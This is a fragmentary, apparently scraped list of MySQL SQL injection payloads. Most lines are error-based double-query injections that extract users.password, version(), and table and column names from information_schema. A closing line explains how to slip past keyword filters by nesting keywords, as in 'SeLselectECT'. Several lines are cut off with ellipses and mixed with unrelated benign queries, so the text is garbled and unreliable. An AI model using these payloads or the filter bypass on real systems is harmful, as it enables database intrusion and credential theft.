1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
SELECT COUNT(*), 'null_tally' AS narrative FROM us WHERE a IS NULL UNION SELECT COUNT(*), 'not_null_tally' AS narrative FROM
...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))) +.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
...1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
SELECT column_names FROM table_name WHERE column_name IS NOT NULL
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.